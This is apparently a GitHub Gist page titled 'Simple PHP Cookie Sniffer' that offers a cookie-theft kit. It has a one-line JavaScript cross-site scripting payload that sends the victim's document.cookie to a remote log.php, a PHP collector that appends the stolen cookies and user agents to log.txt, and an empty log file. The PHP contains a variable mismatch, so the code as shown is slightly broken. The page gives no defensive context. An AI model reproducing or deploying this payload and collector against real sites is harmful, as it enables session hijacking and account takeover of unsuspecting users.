Last active
July 13, 2019 19:20
-
-
Save farukuzun/70e23c0a397019271382 to your computer and use it in GitHub Desktop.
Simple PHP Cookie Sniffer
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
i=new/**/Image();i.src='http://host/log.php?cookie='+escape(document.cookie); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$collectedCookie=$HTTP_GET_VARS["cookie"]; | |
$date=date("l ds of F Y h:i:s A"); | |
$user_agent=$_SERVER['HTTP_USER_AGENT']; | |
$file=fopen('log.txt','a'); // chmod 777 log.txt | |
fwrite($file,"DATE:$date || USER AGENT:$user_agent || COOKIE:$cookie \n"); | |
fclose($file); | |
?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Logs | |
=========================================================================== |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment